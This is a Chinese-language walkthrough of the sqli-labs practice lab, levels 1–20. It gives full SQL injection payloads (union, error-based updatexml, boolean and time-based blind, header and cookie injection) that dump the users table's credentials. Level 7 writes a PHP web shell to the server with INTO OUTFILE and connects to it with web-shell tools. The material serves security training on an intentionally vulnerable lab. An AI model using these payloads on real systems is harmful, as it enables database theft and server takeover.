目录
Less-1(GET - Error based - Single quotes - String)
Less-2(GET - Error based - Intiger based)
Less-3(GET - Error based - Single quotes with twist - string)
Less-4(GET - Error based - Double Quotes - String)
Less-5(GET - Double Injection - Single Quotes - String)
Less-6(GET - Double Injection - Double Quotes -String)
Less-7(GET - Dump into outfile - String)
Less-8(GET - Blind - Boolian Based - Single Quotes)
Less-9(GET - Blind - Time based, - Single Quotes)
Less-10(GET - Blind - Time based - double quotes)
Less-11(POST - Error Based - Single quotes - String)
Less-12(POST - Error Based - Double quotes - String - with twist)
Less-13(POST - Double Injection - Single quotes - String - with twist)
Less-14(POST - Double Injection - Single quotes - String - with twist)
Less-15(POST - Blind - Boolian/time Based - Single quotes)
Less-16(POST - Blind - Boolian/Time Based - Double quotes)
Less-17(POST - Update Query - Error Based - String)
Less-18(POST - Header Injection - Uagent field - Error based)
Less-19(POST - Header Injection - Referer field - Error based)
Less-20(POST - Cookie injections - Uagent field - error based)
说明:以取得用户名和密码为通关。
Less-1(GET - Error based - Single quotes - String)
判断回显类型
根据题目提示使用id传值,注入?id=1查看回显。
在上面基础上注入一个和多个单号根据回显不同(奇数时为错误页面,偶数时为正常页面),判断为单引号字符型注入。
确定回显位置
注入?id=1'order by n--+判断最大回显个数。n取1~4,当n为1~3时页面正常,为4时报错(第4列未知),确定最大回显数为3。
注入?id='union select 1,2,3--+确定回显位置为2和3。
回显获取数据
注入?id='union select 1,database(),3--+回显出数据库为security。
注入?id='union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+回显出表为emails、referers、uagents、users。
注入?id='union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' )--+回显出users表的字段为id、username、password。(注意:由于当前数据库可能不是security,所以加上指定数据库条件。)
注入?id='union select 1,2,(select group_concat(username,0x7e,password) from users)--+回显出用户名和密码(每组中间使用~隔开)为Dumb~Dumb、Angelina~I-kill-you、Dummy~p@ssword、secure~crappy、stupid~stupidity、superman~genious、batman~mob!le、admin~admin、admin1~admin1、admin2~admin2、admin3~admin3、dhakkan~dumbo、admin4~admin4。
Less-2(GET - Error based - Intiger based)
判断注入类型
以id为参注入1/1和1/0页面显示不同,判定为数字型注入。
确定回显位置
注入?id=1 order by n--+判断最多存在几个回显位;n为1~3时页面正常,为4时页面报错无第4列;判断最多存在4个回显。
注入?id=-1 union select 1,2,3--+确定回显位置为2和3。
回显获取数据
注入?id=-1 union select 1,2,database()--+回显数据库为security。
注入?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+回显出表emails、referers、uagents、users。
注入?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+回显users表字段为id、username、password。
注入?id=-1 union select 1,2,(select group_concat(username,0x7e,password) from users)--+回显用户名和密码为Dumb~Dumb、Angelina~I-kill-you、Dummy~p@ssword、secure~crappy、stupid~stupidity、superman~genious、batman~mob!le、admin~admin、admin1~admin1、admin2~admin2、admin3~admin3、dhakkan~dumbo、admin4~admin4。
Less-3(GET - Error based - Single quotes with twist - string)
判断注入类型
以id为参注入一个或多个单引号,当为奇数时报错,偶数时正常,确定为字符型注入。
使用报错回显数据
注入?id=1'order by 1--+出现报错,尝试注入?id='and updatexml(1,concat(0x7e,database(),0x7e),1)='回显出数据库为security,同时确定为报错型注入。
注入?id='and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)='回显出表emails、referers、uagents、users。
注入?id='and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)='回显users表字段为id、username、password。
注入?id='and updatexml(1,concat(0x7e,(select group_concat(username,0x20,password) from users),0x7e),1)='回显出部分用户名和密码(每组用空格隔开)。(原因:updatexml一次最多显示32个字符。)
注入?id='and updatexml(1,concat(0x7e,mid((select group_concat(username,0x20,password) from users),n,31),0x7e),1)='回显剩余部分用户名和密码。n取32、63、94、125、156、187。(注意:当最后字符为~表示全部截取完毕,否则依次加31继续截取。)
Less-4(GET - Error based - Double Quotes - String)
判断注入类型和确定注入闭合方式
以id为参注入一个或多个双引号,为奇数时报错,为偶数时正常,判断为双引号字符型注入。
确定回显位置
注入?id=1")order by n--+判断回显数,n取1~4,n为1~3时页面正常,4时报出没有第4列。
由于注入一个双引号时报错内容中闭合方式中存在一个右括号,则绕过时需要加上右括号。
注入?id=")union select 1,2,3--+判断回显位置为2和3。
回显获取数据
注入?id=")union select 1,2,database()--+回显出数据库为security。
注入?id=")union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+回显出表emails、referers、uagents、users。
注入?id=")union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+回显users表字段。
注入?id=")union select 1,2,(select group_concat(username,0x7e,password) from users)--+回显出用户名和密码Dumb~Dumb、Angelina~I-kill-you、Dummy~p@ssword、secure~crappy、stupid~stupidity、superman~genious、batman~mob!le、admin~admin、admin1~admin1、admin2~admin2、admin3~admin3、dhakkan~dumbo、admin4~admin4。
Less-5(GET - Double Injection - Single Quotes - String)
判断注入型
以id为参注入一个或多个单引号,奇数时报错,偶数时正常。确定为字符型注入。
报错回显数据
观察页面可以推断没有回显位置,直接使用报错注入。注入?id='and updatexml(1,concat(0x7e,database(),0x7e),1)--+回显出数据库为security。
注入?id='and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+回显出表emails、referers、uagents、users。
注入?id='and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+回显出users表字段id、username、password。
注入?id='and updatexml(1,concat(0x7e,(select group_concat(username,0x20,password) from users),0x7e),1)--+回显出部分用户名和密码。
注入?id='and updatexml(1,concat(0x7e,mid((select group_concat(username,0x20,password) from users),n,31),0x7e),1)--+回显剩余部分用户名和密码。(n取32、63、94、125、156、187)
Less-6(GET - Double Injection - Double Quotes -String)
判断注入型
以id为参注入一个或多个双引号,为奇数时报错,为偶数时正常。又根据页面没回显信息,确定为类型为双引号字符报错型注入。
报错方式回显数据
注入?id="and updatexml(1,concat(0x7e,database(),0x7e),1)--+回显数据库为security。
注入?id="and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+回显出表为emails、referers、uagents、users。
注入?id="and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+回显users表字段id、username、password。
注入?id="and updatexml(1,concat(0x7e,mid((select group_concat(username,0x20,password) from users),n,31),0x7e),1)--+回显出用户名和密码。(n取1、32、63、94、125、156、187)
Less-7(GET - Dump into outfile - String)
判断注入型和闭合方式
以id为参注入一个或多个单引号,为奇数时报错,为偶数时正常;判断为字符型注入。
注入?id=1'order by 1--+发现回显报错,尝试注入?id=1'))order by 1--+回显正常;确定回显闭合方式是'))。
Burp Suite爆破数据(行不通)
由于没有回显位置,但正常和报错有不同页面,则可以通过布尔盲注进行爆破数据。
注入?id=1'))and+if(1=1,1,0)--+和?id=1'))and+if(1=2,1,0)--+并使用Burp Suite抓包,尝试使用转发模块发送数据,发现两个应答数据长度一样,这样就无法使用Burp Suite进行盲注爆破。
使用盲注爆破脚本爆破数据
因为脚本是根据数据内容进行判断的,所以不存在Burp Suite中判断不出来。
注入?id=1'))and if(ascii(mid(database(),%d,1))=%d,1,0)--+爆破出数据库为security。
注入?id=1'))and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,1,0)--+爆破出所有表emails、referers、uagents、users。
注入?id=1'))and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))=%d,1,0)--+爆破出users表字段id、username、password。
注入?id=1'))and if(ascii(mid((select group_concat(username,0x7e,password) from users),%d,1))=%d,1,0)--+爆破出用户名和密码。
木马植入直接读取数据
判断回显数
注入?id=1'))order by n--+判断回显数,n取1~4,1~3时正常回显,4时报错;确定最大回显数为3。
向服务器文件中写入木马
根据提示(Use outfile),注入?id='))union select 1,2,3 into outfile 'C:/14.txt'--+将1,2,3写入C盘14.txt文件中。这里的C盘是服务器C盘。(注意:页面报错可以忽略。)
通过注入?id='))union select 1,2,database() into outfile 'C:/14.txt'--+可以在服务器上获得数据库名,但没什么用,因为一般情况下无法读取服务器文件。
注入?id='))union select 1,2,'' into outfile 'C:/phpstudy/PHPTutorial/WWW/sqli/Less-7/14.php'--+将一句话木马写入服务器。
分析:$_REQUEST接收GET或POST提交的数据,数据名为14。
使用工具连接木马
利用蚁剑连接木马控制服务器。
右键数据操作,添加填写密码可以获取所有数据库。
弊端:可能无法知道服务器的www目录和数据库密码,也就无法得到数据库。
利用中国菜刀连接木马控制服务器,无法直接连接到数据库,但可以通过文件管理找到数据库文件目录。
补充:权限设置
要想将数据写入服务器,必须先将服务器中MySQL下的bin目录中my.ini添加secure_file_priv=""。
解释:当secure_file_priv=""表示服务器任何位置都能写入,secure_file_priv=NULL表示不能写入,secure_file_priv=目录表示只能在该目录下写入。
查看secure_file_priv权限命令:show variables like '%secure%';
Less-8(GET - Blind - Boolian Based - Single Quotes)
判断注入型
以id为参注入一个或多个单引号,奇数时页面无显示(报错),偶数时正常回显,判定为字符注入。
Burp Suite爆破数据
由于页面没有回显,则只能通过爆破形式获得数据。
使用Burp Suite抓包并注入?id=1'and+if(length(database())=n,1,0)--+爆破出数据库长度为8。
注入?id=1'and+if(mid(database(),n,1)='c',1,0)--+爆出数据库为security。
注入?id=1'and+if(length((select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security'))=n,1,0)--+爆总表长度为29。
注入?id=1'and+if(mid((select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security'),n,1)='c',1,0)--+爆出总表emails、referers、uagents、users。
注入?id=1'and+if(length((select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'))=n,1,0)--+爆出users表字段长为20。
注入?id=1'and+if(mid((select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'),n,1)='c',1,0)--+爆出users字段为id、username、password。
注入?id=1'and+if(length((select+group_concat(username,0x7e,password)+from+users))=n,1,0)--+爆出用户名和密码长度为188。
注入?id=1'and+if(mid((select+group_concat(username,0x7e,password)+from+users),n,1)='c',1,0)--+爆出用户名和密码都有两个,不符合规定。
将上面的注入语句改为?id=1'and+if(ascii(mid((select+group_concat(username,0x7e,password)+from+users),n,1))=ascii('c'),1,0)--+爆出用户名和密码。(绕过大小写导致的冲突)
Less-9(GET - Blind - Time based, - Single Quotes)
确定注入方法和闭合符号
注入任意字符(串)都是一个页面,则只能使用时间盲注获取数据。
尝试注入1'and sleep(5)--+通过页面响应时间判断出闭合方式为'。
注意:时间盲注要求
更改最大线程数为1,防止响应时间上的冲突。
添加响应时间排序,便于观看爆破结果。
使用BP抓包爆破数据
先使用BP捕获一个数据包,再注入?id=1'and+if(length(database())=n,sleep(3),0)--+爆破出数据库长度为8。
注入?id=1'and+if(mid(database(),n,1)='c',sleep(3),0)--+爆出结果每组有两种可能,不符合要求。
将字符转成ascii形式绕过大小写矛盾可以爆破出数据,但过于复杂,且爆破后数据被打乱,不便于排序。
使用盲注爆破脚本进行时间盲注
相比较与BP,脚本可以进行排序,即爆破后就是完整数据形式。
注入语句使用?id=1'and+if(ascii(mid(database(),%d,1))=%d,sleep(3),0)--+爆破出数据库名为security。
注入?id=1'and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,sleep(3),0)--+爆出表为emails、referers、uagents、users。
注入?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))=%d,sleep(3),0)--+爆出users表字段为id、username、password。
注入?id=1'and if(ascii(mid((select group_concat(username,0x7e,password) from users),%d,1))=%d,sleep(3),0)--+爆出用户名和密码。
Less-10(GET - Blind - Time based - double quotes)
确定注入方式和闭合方式
注入任何字符(串)页面没有变化,只能使用时间盲注获取数据。
尝试注入1"and sleep(5)--+通过返回时长判断闭合符为"。
使用盲注爆破脚本爆破数据
注入?id=1"and if(ascii(mid(database(),%d,1))=%d,sleep(3),0)--+爆破出数据库security。
注入?id=1"and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,sleep(3),0)--+爆出表emails、referers、uagents、users。
注入?id=1"and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))=%d,sleep(3),0)--+爆出users表字段id、username、password。
注入?id=1"and if(ascii(mid((select group_concat(username,0x7e,password) from users),%d,1))=%d,sleep(3),0)--+爆出用户名和密码。
Less-11(POST - Error Based - Single quotes - String)
查看传参形式和判断注入型
输入任意用户名和密码,查看F12控制台下网络确定是POST传值,参数分别是uname、passwd、submit。
使用POST方式注入一个或多个单引号,为奇数时报错,为偶数时没显示;判断为字符注入。
确定回显位置
注入'order by n#判断最大回显数。n取1~3,当n为1和2时页面不报错,3则报错(第3列未知)。
注入'union select 1,2#确定回显位置为1和2。
注入回显获取数据
注入'union select 1,database()#回显出数据库为security。
注入'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#回显出表emails、referers、uagents、users。
注入'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')#回显出users表的字段id、username、password。
注入'union select 1,(select group_concat(username,0x7e,password) from users)#回显出用户名和密码。
Less-12(POST - Error Based - Double quotes - String - with twist)
确定传值方式和注入型
输入任意用户名和密码,F12网络查看传值方式为POST。
注入一个或多个双引号,当为奇数时报错,偶数时正常;确定是字符型注入。根据报错内容确定闭合符为")。
判断回显位置
注入")order by n#判断出最大回显数为2。(n取1~3)
注入")union select 1,2#确定回显位置为1和2。
回显数据
注入")union select 1,database()#回显出数据库security。
注入")union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#回显出表emails、referers、uagents、users。
注入")union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')#回显出users表字段id、username、password。
注入")union select 1,(select group_concat(username,0x7e,password) from users)#回显用户名和密码。
Less-13(POST - Double Injection - Single quotes - String - with twist)
确定注入型和闭合符
输入任意用户名和密码,F12网络下查看传参方式和个数。
注入一个或多个单引号,为奇数时报错,为偶数时正常;再根据报错内容确定闭合方式为')。
判断回显位置
注入')order by n#判断回显数为2。(n取1~3)
注入')union select 1,2#没有出现回显位置。
报错回显数据
由于没有回显位置但有报错信息,则注入')and updatexml(1,concat(0x7e,database(),0x7e),1)#报出数据库security。
注入')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#报出表emails、referers、uagents、users。
注入')and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#报出users表字段id、username、password。
注入')and updatexml(1,concat(0x7e,mid((select group_concat(username,0x20,password) from users),n,31),0x7e),1)#报出部分用户名和密码。(n取1、32、63、94、125、156、187)
Less-14(POST - Double Injection - Single quotes - String - with twist)
确定注入方式
输入任意用户名和密码,F12查看传参形式为POST传参。
注入一个或多个双引号,奇数时报错,偶数时正常;初步认为是字符注入。
判断回显位置
注入"order by n#测试回显数为2,n取1~3。
注入"union select 1,2#发现没有回显位置。
使用报错回显数据
由于没有回显位置,则只能使用报错注入;注入"and updatexml(1,concat(0x7e,database(),0x7e),1)#报出数据库security。
注入"and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#回显表为emails、referers、uagents、users。
注入"and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#报出users表字段id、username、password。
注入"and updatexml(1,concat(0x7e,mid((select group_concat(username,0x7e,password) from users),n,31),0x7e),1)#回显用户名和密码。(n取1、32、63、94、125、156、187)
Less-15(POST - Blind - Boolian/time Based - Single quotes)
判断注入型
输入任意用户名和密码后F12查看传值方式为POST。
注入单引号、双引号、1/1、1/0页面都没有变化。注入'or 1=1#永真式查看是否有回显,发现图标有变化,确定注入方法为布尔盲注。
获取响应包大小
由于页面中成功与失败显示时没有文本显示,所以脚本只能通过包大小判断。
使用BP捕获数据包并注入'or+1=1#重新发送,查看到包大小为1492。
注入'or+1=2#重新发包,验证失败与成功返回的包大小不相等。
使用盲注爆破脚本爆破数据
注入{"uname":"'or if(ascii(mid(database(),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆破数据库security。
注入{"uname":"'or if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆破表。
注入{"uname":"'or if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆破users表字段。
注入{"uname":"'or if(ascii(mid((select group_concat(username,0x7e,password) from users),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆破出用户名和密码。
Less-16(POST - Blind - Boolian/Time Based - Double quotes)
判断注入型和闭合符
输入任意用户名和密码后F12查看传值方式为POST。
注入单引号、双引号、1/1、1/0页面没有变化,注入")or 1=1#页面图标变化;确定闭合符为")。
BP抓包获取响应包大小
由于页面没有回显位,则只能使用盲注。
使用BP抓包后注入")or+1=1#并发送请求,从响应包中得到包长度。
盲注爆破脚本获取数据
注入{"uname":"")or if(ascii(mid(database(),%d,1))=%d,1,0)#","passwd":"","subimt":"Submit"}爆出数据库security。
注入{"uname":"")or if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆出表emails、referers、uagents、users。
注入{"uname":"")or if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆出users表字段。
注入{"uname":"")or if(ascii(mid((select group_concat(username,0x7e,password) from users),%d,1))=%d,1,0)#","passwd":"","submit":"Submit"}爆出用户名和密码。
Less-17(POST - Update Query - Error Based - String)
判断注入点
输入任意用户名和密码,F12查看传值方式为POST。
在uname参数位置进行注入,发现无论任何字符页面都没有变化。猜测注入点不在uname参数位置。
使用BP爆破用户名和密码,得到用户000000有效;密码是无效的,根据页面提示本题机制是密码更新。即根据用户名对密码进行更新。
尝试使用passwd参数为进行注入,注入一个或多个单引号,奇数时报错,偶数时正常。
使用报错注入取数据
由于没有回显位置,则可以使用报错注入获得数据。注入'and updatexml(1,concat(0x7e,database(),0x7e),1)#报出数据库security。
注入'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#报出表emails、referers、uagents、users。
注入'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#报出uses表字段id、username、password。
由于报错信息都源自于users本身,则在子查询中无法查询本表数据,即无法获取用户名和密码。
Less-18(POST - Header Injection - Uagent field - Error based)
确定注入点
输入任意用户名和密码,F12查看网络确定是POST传值方式。
在uname和passwd参数位置注入单引号、双引号、1/1、1/0等,页面都没有变化。使用BP进行用户名和密码爆破,得到一组有效信息。
根据观察回显信息确定是User-Agent值;尝试在User-Agent位置注入一个或多个单引号,奇数时回显注入值并报错,偶数时回显注入值。
判断传参个数
注入一个单引号根据报错内容判断后面还有两个参数;且最后闭合符为)。(参数之间使用,分隔)
注入',1,1)#发现页面正常,确定注入参数为3个。
使用报错注入回显数据
由于页面存在报错提示,则可以使用报错注入回显数据;注入'and updatexml(1,concat(0x7e,database(),0x7e),1),1,1)#回显数据库security。
注入'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1),1,1)#回显表emails、referers、uagents、users。
注入'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1),1,1)#回显users表字段id、username、password。
注入'and updatexml(1,concat(0x7e,mid((select group_concat(username,0x20,password) from users),n,31),0x7e),1),1,1)#回显用户名和密码。(n取1、32、63、94、125、156、187)
Less-19(POST - Header Injection - Referer field - Error based)
确定注入点和传值个数
输入任意用户名和密码,并使用BP抓包;再使用爆破方法爆破出一组有效用户名和密码(000000/000000)。
传入有效地用户名和密码,得到一行回显,且对应于Referer值,推测Referer为注入点。
在注入点Referer中注入一个单引号,页面回显报错。
根据报错的信息可以知道闭合符末尾是)。注入')#报错提示列数不匹配(传值点不只有一个)。
注入',1)#页面正常回显,推断传值位置数为2个。
使用报错方式回显数据
由于没有直接的回显位置,但可以通过报错方式回显信息;则注入'and updatexml(1,concat(0x7e,database(),0x7e),1),1)#回显出数据库为security。
注入'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1),1)#回显表emails、referers、uagents、users。
注入'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1),1)#回显users表字段id、username、password。
注入'and updatexml(1,concat(0x7e,mid((select group_concat(username,0x20,password) from users),n,31),0x7e),1),1)#回显用户名和密码。(n取1、32、63、94、125、156、187)
Less-20(POST - Cookie injections - Uagent field - error based)
判断注入点和注入型
输入任意用户名和密码,并使用BP进行抓包爆破出一组有效地用户名和密码(000000/000000)。
根据页面中的提示,猜测注入点是Cookie。
在页面中输入有效的一组用户名和密码,同时BP进行抓包;再通过BP放包找到具有Cookie的数据包。
在Cookie中注入一个单引号,页面出现报错。
注入'or+1=1#永真式查看页面回显。
注入'order+by+n#判断回显数为3。(n取1~4)
注入'union+select+1,2,3#判断回显位置为1、2、3。
直接注入回显数据
注入'union+select+database(),2,3#回显出数据库为security。
注入'union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security'),2,3#回显表为emails、referers、uagents、users。
注入'union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'),2,3#回显出users表字段id、username、password。
注入'union+select+(select+group_concat(username,0x7e,password)+from+users),2,3#回显用户名和密码。